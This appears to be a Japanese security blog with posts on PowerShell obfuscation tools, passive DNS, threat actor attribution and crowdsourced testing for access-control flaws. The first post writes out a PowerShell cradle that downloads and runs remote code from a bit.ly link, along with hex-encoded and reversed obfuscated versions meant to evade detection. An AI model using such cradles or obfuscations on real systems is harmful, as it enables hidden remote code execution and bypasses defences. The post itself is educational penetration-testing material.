セキュリティコンサルタントの日誌から

セキュリティに関するエッセイなど

PowerShellの難読化について

PowerShellは、Post-Exploitationプロセスで非常に良く使われます。例えば、以下のコマンドを実行するとリモートにあるファイルを取得してその内容を実行してくれます。

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t") 

PowerShellの難読化技法については様々な研究がされており、いくつかツールが存在します。今回はそれを紹介します。

Invoke-Obfuscation

Invoke-Obfuscationは、任意のPowerShellコマンドを難読化してくれるツールです。

github.com

GitHubに記載されている通り、インストールします。

起動すると以下のような画面になります。

f:id:security_consultant:20171113221627p:plain

 

Tutorialコマンドをたたくと以下のように使い方を教えてくれます。

f:id:security_consultant:20171113221703p:plain

以下に、簡単な使い方を記載します。

SET SCRIPTBLOCK (PowerShell)

SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

その後、オプションを選択すると自動的に暗号化されます。

f:id:security_consultant:20171113222243p:plain

例えば、[ ENCODING ] - [2] (Hex)を選ぶと以下のような出力になります。

(修正前)

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

(修正後)

IeX(('49J6em76Y6fm6bT65Y2d%45m78m70!72%65T73;73!69m6fm6eJ2
0Y28%4eT65J77T2d;4f!62p6aT65Y63!74%20!4ep65p74J2ep57p65Y62!
43!6c;69J65m6e%74;29Y2em44T6f!77p6eT6cJ6fm61;64J53T74!72m69
%6e;67p28%22T68T74m74%70Y3am2fY2fY62;69%74Y2eY6c%79%2f;
4c;33J67%31%74Y22Y29' -sPlIT 'p'-spliT 'm'-SPlIT';' -SpLit '%' -SPliT'T'
-SplIt'!' -spLiT'J'-SpLIT'Y'|%{ ([cONvErT]::TOInT16(( [sTRINg]$_), 16 ) -
AS [chAr])})-JoiN'')

 

ほかにも、[ STRING ] - [3] (Reverse)を選ぶと以下のような出力になります。

(修正前)

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

(修正後)

Set-VAriAble khB6 (" )''nIOj-'x'+]3,1[)(gnIrTSot.ecNerEFerpeSobreV$ (.| )
63]rAHCgnIrTs[,)56]rAHC[+58]rAHC[+401]rAHC[((ecaLPEr.)'|','rAE'(ecaL
PEr.)93]rAHC
gnIrTs[,)55]rAHC[+001]rAHC[+65]rAHC[((ecaLPEr.)')7d87d
8NioJ-)}'+')]rAhc'+'['+' SA'+'- ) 61'+' ,)'+'_AU'+'h'+']gNIRT'+'s'+'[ (('+'61TnIO
T:'+':]TrEvNOc[( {%rAE7d'+'8Y7d8TIL'+'pS-7d8J'+'7d8'+'T'+'iLp'+'s- 7d8!7
d8tIlpS- 7d8T7'+'d8TilPS- 7d8%7'+'d8 '+'ti'+'LpS- 7'+'d'+'8;7d8'+'T'+'IlPS-
'+'7'+'d8'+'m'+'7d8 '+'Til'+'p'+'s-'+'7d8p7d8 TI'+'lPs- 7d'+'89'+'2Y'+'2'+'2'+'
Y47'+'%13%76J33;'+'c4;f'+'2%97%c6Ye'+'2'+'Y47%96;'+'2'+'6Yf2Yf2'+'ma
'+'3'+'Y07%47'+'m47T8'+'6'+'T22%82p76;e'+'6%96'+'m'+'2'+'7'+'!47'+'T35J
46;16mf6J'+'c6'+'T'+'e6p77!'+'f6T4'+'4me'+'2Y92;47%'+'e6m56J96;c6'+'!34
'+'!26Y56p75p'+'e2J4'+'7p'+'56pe4'+'!02%47'+'!'+'36Y56Ta6'+'p26!f4;d'+'2
T77J5'+'6Te'+'4%82Y'+'02Je6mf6m96!37'+';'+'37T5'+'6%2'+'7!07m87m54
%d2Y56Tb6mf6'+'Y67me6J947d8 ((XeI '( " ) ; [StrInG]::JOIN( '' , ( cHiLDit
EM vaRIablE:Khb6 ).valUe[-1 ..- ( ( cHiLDitEM vaRIablE:Khb6 ).valUe.len
GTH)])| &( $sHEllId[1]+$shELLid[13]+'X')

 

さらに、TEST / EXECというコマンドを打てばローカルで実行実験ができたりと非常に面白いツールです。

資料は、以下にあります。(PDF)

www.youtube.com

Invoke-CradleCrafter

Invoke-CradleCrafterは、リモートからダウンロードする際の形式の難読化に特化したツールです。使い方は同じですが、目的が特化されている分難読化の手法が増えている野で、ダウンロードする際にはコチラを利用したほうが良いかも知れません。

github.com

難読化の検知

上記のツールを作っているDaniel Bohannon氏ですが、もともとはRed Teamの検証およびBlue Teamの検証用が目的としています。その後、彼はRevoke-Obfuscationという検知用用ツールも開発しています。(Revoke-Obfuscation @ BlackHat)

github.com

最後に

ペネトレーションテストを実施する際には、検知をどのようにかいくぐるEvasion Techniqueが重要になります。ペネトレーションテストのプロセスを高度化する意味でも、本ツールを活用することを推奨します。

Cyber Threat IntelligenceとDNSデータ

Cyber Threat IntelligenceやThreat Actor Attributionの観点では、悪性ドメイン(C2ドメイン)は足が速い(すぐに変わる)のでDNSデータ分析は重要な要素となります。

例えば、マルウェア解析チームにより特定のC2通信を発生させていたと報告してきたとします。その際に、そのDNSの接続先はどこなのか、そのC2ドメインを設定した人物は誰なのか、その攻撃者の意図を分析するThreat Actor Attributionなどでも、DNS情報の分析は行います。今回は、そのThreat Intelligenceの観点から見るDNSデータについて解説します。

Active vs. Passive

Cyber Threat Intelligenceの観点では、DNS情報としては、現在最新のデータより、過去のデータに価値があります。なぜなら、インシデント分析をしているときには悪用されていたドメインは既に捨てられていたり、内容が変わっているためです。

その観点から、DNSデータはActiveとPassiveの二種類のデータ収集方法があります。

Active DNS Data

Active DNS Dataとは、DNSデータをクローリングしてDNSデータの変更を全て蓄積しておき、特定ドメインにおけるIPアドレスとの連関性の履歴や登録者情報を蓄積していく方法です。これを自分でやることは難しく、一般的には専門のサービスを使うことになります。一番良く知られているのはDomain Toolsと呼ばれるサービスでこの分野では一般的です。彼らは、数多くのDNSデータを蓄積しており、ちょっとした変更も全て履歴として蓄積されており、過去の時点でどんな登録者情報でどんなIPと紐付いていたかなどその仔細を明らかにしてくれます。

Passive DNS Data

Passive DNSとは、Cyber Threat Intelligenceの文脈でよく聞く単語です。一言でいえば、DNS名前解決の履歴を蓄積したデータセットのことです。これは、自社で蓄積することもできますし、自社で蓄積すればどんな通信が行われていたか把握することができます。実際、Cyber Threat Intelligenceのプラットフォームで有名なThreatConnect社のResearch Operation DirectorのToni Gidwani女史は、このツールのことを「インフラストラクチャ全体を過去にさかのぼって見渡すことができるため、研究者にとっては非常に強力なツールだ*1」と評しています。

ちなみに、Passive DNSデータを提供している企業もあり、一例としてFarsight Security社のDNSDBが挙げられます。ただ使い方としては先ほど紹介したDomain Toolsに似た使い方になるのではないかと思います。

 

ちなみに、Passive DNSについて詳しく知りたい場合はこの辺の資料が参考になると思います。

まとめ

Cyber Threat Intelligenceの観点では、過去のDNSデータは非常に重要となります。Passive DNSについてはきちんと蓄積しておくと、色々と分析も捗りそうという印象を受けます。

ちなみに、CTIの文脈でたまに聞くこのサービスでCymonというのがありますが、事後検証のためメモしておきます。

cymon.io

*1:This is a really powerful tool for researchers because it gives you the ability to take a retrospective look at what is happening across infrastructure.

Threat Actor Attributionとは何か?

Threat Actor Attributionという単語をきいたことはありますでしょうか?

今回は、Cyber Threat Intelligenceの分野で重要なThreat Actor Attributionについて、以下の講演をもとに勉強してみたいと思います。

www.youtube.com

Threat Actor Attributionとは?

Threat Actor Attributionは、孫子の引用で説明されます。

彼を知り己を知れば、百戦して危うからず

攻撃者グループも人の集合であるため、グループごとのアイデンティティ・動機・犯罪の手口(modus operandi)などがあるという前提が存在します。攻撃を受けた際、その特徴を特定して、捜査機関の連携や次なる攻撃を防ぐために活用しようという技術です。

攻撃者の動向・攻撃の背景を押させることが次の攻撃を防ぐ重要な手段になりますし、それらをISAC(Information Sharing and Analysis Center)という組織に連携するなど、その活用は様々です。特に、Nation-State Sponsored Hackerが攻撃をしてくるであろう金融・インフラ・軍事産業などでは非常に重要に注目される技術です。

また、攻撃者の分析をすることで攻撃の意図、目的を知り、影響範囲を推定する上でも非常に重要な技術だと考えられます。

Hacker Tells

David Sassemanというポーカー選手の格言を引用して、ハッカーから得られる情報(Hacker Tells)について整理しています。

www.pokerology.com

動画では、いくつか指摘されており、筆者独自にまとめてみました。

  • 攻撃パターン:攻撃者の行動パターンからの推測
    • 攻撃の時間帯・利用する攻撃の種類(Web攻撃・マルウェアの特徴)
  • メタデータ:収集データのメタデータからの推測
    • 攻撃に使われた文言・特定の文字列・言語・メタデータ・ファイル命名則。
    • マルウェアなどは攻撃者が自身の情報をさらしていることと同値なので多数の情報が得られるため入念に分析することが望ましいとされています。
  • 攻撃者リソース:攻撃者の利用するリソースを調査
    • 攻撃環境(Exploit Kitの種類、攻撃インフラの特徴、XaaS*1の利用状況・環境の成熟度))
    • 攻撃者の保有リソース(ドメイン・IP・メール・フリードメイン)

事例分析

動画の事例では、攻撃に使われたツールを収集して、攻撃者の特徴となるハンドル名・メールアドレスを発見、Maltagoを利用して可視化分析、その後整理されたドメイン情報を元にいくつかの分析ツールを使って情報を洗い出す方法を採用していました。

動画の中で使われていたツールは以下の通り。

  • Central Ops:ネットワークコマンドのオンライン版
  • Domain Tools:ドメイン・IPに関する情報を一斉に引っ張りだせるツール
  • Passive DNS:過去のWHOIS情報を見れるツール(参考
  • CLEAR:Thomson Reutersが提供するバックグラウンドチェックツール
  • Accurint:LexisNexisが提供するバックグラウンドチェックツール
  • Spokeo:CLEAR・Accurientの廉価版

まとめ

このように見てみると、技術的に新しいことはなく基本的にはOSINT技術・IRで使うマルウェアやログ分析技術が中心です。この方向性を攻撃者の特定に使うのがThreat Actor Attributionだといえます。

別の具体事例を知りたい方は、過去ShmooConで参加したときに面白い講演があったのでそちらを参照されることをお勧めします。

www.scientia-security.org

 但し、注意も必要だと思われます。以前の記事も書きましたが、Attributionに対応する技術も存在します。また、 民間企業にとってみれば、Attribution技術で対象を探し出しても意味がないという議論もあります。その辺の限界も含まれて利用することが必要だと考えられます。

www.scientia-security.org

*1:Ransomware as a Service、Malware as a Service、Phishing as a Serviceなどがある

思考実験:クラウドソーシングはツールの欠点を補えるか?

久しぶりに記事を更新したいと思います。本日は、Webアプリケーションについての思考実験をしてみたいと思います。

既にご存知の通り、Webアプリケーション診断の脆弱性スキャナとして、様々な製品が登場しています。

  • IBM AppScan
  • HP WebInspect
  • Rapid7 AppSpider

これらの製品は、XSS(Cross Site Scripting)やSQLインジェクションといった「機械が発見を得意とする脆弱性」には非常に有効ですが、Webアプリケーションの脆弱性には「機械が発見を苦手とする脆弱性」もいくつか存在します。

今回は、「機械が発見を苦手とする脆弱性」を補う方法を検討します。

機械が発見を苦手とする脆弱性

その代表的な脆弱性が、「アクセスコントロールの不備」や「ビジネス・ロジックの悪用」に関する脆弱性です。

アクセス・コントロールの不備

アクセス・コントロールの不備とは、「本来閲覧権限のないデータを閲覧可能である」、あるいは「本来利用できない権限の機能を利用できる」という脆弱性です。アクセスコントロールの脆弱性は、大きく2種類に分類されます。

  • 横のアクセスコントロール不備
  • 縦のアクセスコントロール不備
横のアクセス・コントロール不備

例えば、ECサイトなどで、ユーザAがパラメータを改竄することでユーザBさんの購入履歴を盗み見ることができる場合など、同じ権限レベルで他のユーザのデータが閲覧できてしまうことを横のアクセス・コントロール不備といいます。日本では、なりすましの脆弱性と呼ばれます。

縦のアクセス・コントロール不備

例えば、一般ユーザが管理者のみが利用できる承認機能を利用できてしまう場合など、低い権限レベルのユーザが高い権限レベルのデータ・機能を利用できてしまう場合、縦のアクセス・コントロール不備といいます。日本では、若干複雑で認証がされていない状態で特定の機能を悪用できてしまうことを認証回避の脆弱性、認証がされた低い権限レベルから高い権限レベルのデータ・機能にアクセスできる場合、権限昇格の脆弱性と呼ばれたりします。(人により使い方は異なるので、私の個人的な分類です。)

ビジネス・ロジックの悪用

機械では発見しづらい脆弱性として、「ビジネス・ロジックの悪用」という脆弱性があります。一般にシステムとは、ビジネスの流れをモデル化してビジネスルール・ワークフローを機械化したものだと定義されます。そのモデル化の不備を悪用した場合、本来の意図とは違う結果を出力されてしまいます。

例えば、ECサイトなどでは、商品の購入数を9個などと指定し、その個数と商品単価を掛け合わせて支払い金額を算出するなんてことは一般的です。

じゃがいも(100円)×9個 =  900円

カレー(200円)  ×6個 = 1200円

→合計2100円

しかし、もし個数に負の値を指定できれば、合計金額を改竄することができてしまうかも知れません。

じゃがいも(100円)×ー9個 =  ー900円

カレー(200円)  ×6個 = 1200円

→合計300円 

さすがにこのような例を持つアプリケーションはないでしょうが、これは購入時に指定する商品個数が正の値であるというビジネスルールのモデル化に失敗しているからにほかなりません。

これに限らず、本来人間が処理すれば普通は気付くような問題でも、システムは自分で考えて処理をせず記述された通りに動くため、このような脆弱性悪用が成立してしまいます。

なぜ機械は、これらの脆弱性の発見を苦手とするか?

これらの脆弱性を機械が苦手とする理由は簡単です。

脆弱性スキャナは一般にブラック・ボックステストと呼ばれ、システムの仕様を知らない状態で検査を行います。そのため、機械ではこれらの脆弱性を攻撃したときに、結果が問題ないのか、脆弱性と考えるべきなのか判断できないという点です。言い換えれば、攻撃成功時のパターンを記述・訓練することが難しく、システムを正確に理解している人でないと判断ができないという点です。

上記の例でいえば、300円という値が問題ある値なのか、その判断基準を機械に教えない限り、機械は判断することができません。また、あるデータがパラメータ改竄により閲覧できたことが果たして仕様と照らし合わせて問題があるのかないのか、仕様を正確にツールに教えない限り判断ができません。

NRIセキュアのレポートでも、「危険度の高い脆弱性の約3/4は、機械化された検査では発見できない」と指摘をしています。そのため、個々のアプリケーションの仕様を踏まえた検査が専門家の検査が必要になってきます。

www.itmedia.co.jp

本題:クラウドソーシングで機械化された検査の欠点は補えるか?

さて、ここからが本題の思考実験です。

課題:

「アクセス・コントロールの不備」や「ビジネスロジックの不備」については、仕様を理解し、かつ脆弱性の発見手法や様々な攻撃パターンを経験した専門家でないと発見できないという前提があります。しかし、専門家のコスト(特に両面に熟知した専門家)のコストは非常に高く、おいそれと気軽に活用できないという問題がありません。

特に、システム変更の動きが早いオンラインゲームやネットサービス系ではそのたびに専門家を雇っていたりすることは難しいでしょうし、専門家を社員として雇える企業も限られていると思います。

要素分解して考えてみる

前のポイントをまとめてみると、アクセス・コントロールの脆弱性発見には、「脆弱性の発見手法の理解」×「システム仕様の理解」が欠かせないという点が上げられます。

図示すると、以下の通りのイメージですね。

 

f:id:security_consultant:20160822054815p:plain

では、これらを要素分解して、専門家以外の人で同じことを実現できないか、検討してみたいと思います。

要素1:「脆弱性の発見手法の理解」について

脆弱性の発見のためのパラメータ改竄は、脆弱性スキャナは非常に得意としています。HTTPの内容を解析し、送信されているパラメータの値を改竄するだけなので数値をずらすなどは機械でも簡単に可能です。ツールで発見が難しいのは、脆弱性が存在するか否か判断することが難しいだけであって、攻撃自体はツール化すること事態は可能です。そう考えると、脆弱性の発見手法のノウハウさえ、ツールに書き込んでしまえば、ある程度機械に任せることができるのではないかと考えられます。

要素2:「システム仕様の理解」について

システムの仕様自体は別にセキュリティの専門家でなくても知っている人はいます。

代表的なレイは、普段からシステムを利用しているユーザです。普段から利用しているユーザであれば、どんなデータが見えたらおかしいか、どんな機能が使えたらよくないのか判断できるノウハウを持っていると言ってもよいはずです。

より専門的には、このような人たちをレイ・エキスパート(Lay Expert・素人の熟達者)とよんでおり、様々な分野で彼らの知見を活用すべきという議論がありますが、それと同じ考え方です。

「ツールによる脆弱性攻撃」×「レイ・エキスパートの判断」

さて、これらを組み合わせると以外にも「アクセス・コントロールの不備」なども専門家の手を借りずにテストできるのではないでしょうか?

例えば、以下のような流れで検査はできないでしょうか。

  • ユーザ(レイ・エキスパート)のブラウザのプラグインか何かをいれてもらい、通常通りシステムを使ってもらう。
  • そのプラグインが通常遷移の途中で、急に一部のパラメータを改竄してリクエストを送信する(改竄により攻撃を試行する)。
  • プラグインが、ポップアップなどをあげユーザに「想定した結果が表示されていますか?」などと聞き、YES / NO形式などで回答してもらう(レイ・エキスパートに判断をしてもらう)

こんな流れでやっていけば、専門家を使わずとも検査ができるのではないでしょうか。当然、レイ・エキスパートはセキュリティ診断の専門家ではありませんので、間違えることもありますし、勘違いの可能性もあります。そのため、ある程度複数回の試行をする必要があると思います。ある程度の試行回数をするために、クラウド・ソーシングという形を使うというのが解決策になるのではないかと考えています。あるいは、ヘビー・ユーザにツールをいれてもらい、回答するたびにポイントなどをあげるなんていうのも有効かも知れません。

図示すると、以下の形になります。

f:id:security_consultant:20160822060311p:plain

まとめ

もともと、大学院の研究の一環として検討していたテーマなのですが、意外とこの仕組みを作ることが難しく、時間がかかりそうであまり進んでいないテーマです。(本来は査読なし論文にまとめて論文を出すべきなんですが、いかんせん仕組みができていないのでデータがなく、まだアイディア段階なので公開して誰かの役にたてばよいのではないかと考えています。)